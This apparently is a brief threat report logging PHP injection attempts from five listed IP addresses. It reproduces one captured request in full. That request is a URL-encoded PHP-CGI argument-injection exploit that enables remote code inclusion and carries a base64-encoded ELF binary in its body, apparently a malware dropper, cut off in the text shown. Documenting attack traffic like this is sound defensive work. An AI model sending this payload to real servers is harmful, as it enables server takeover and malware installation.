PHP Injections 54.193.253.30 5.99.1.126 200.98.200.

Numerous PHP Injection Attempts
Reported by neonprimetime security
http://neonprimetime.blogspot.com

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Source IPs:
   54.193.253.30
   5.99.1.126
   200.98.200.116
   80.254.98.196
   1.226.82.87

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Sample request:

POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%22%79%65%73%22+%2D%64+%63%67%69%2E%66%69%78%5F%70%61%74%68%69%6E%66%6F%3D%31+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 43604
Connection: close

<?php
$bufferf = 'f0VMRgIBAQMAAAAAAAAAAAIAPgABAAAAEDwQAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAACAEAAAAAAAAEAAAAFAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAA5EMAAAAAAADkQwAAAAAAAAAAEAAAAAAAAQAAAAYAAADgmwAAAAAAAOCbUAAAAAAA4JtQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAB1k/mqVVBYIeAHDRYAAAAAYJ4AAGCeAAAAAgAAsAAAAAIAAAD7+yH/f0VMRgIBAQACAD4ADdAbQA+7ZL8XBQCglyITOADdsu67CAUbABoABg8FJwdA5IQ8IcABAAgA2GCT7gNwBHhA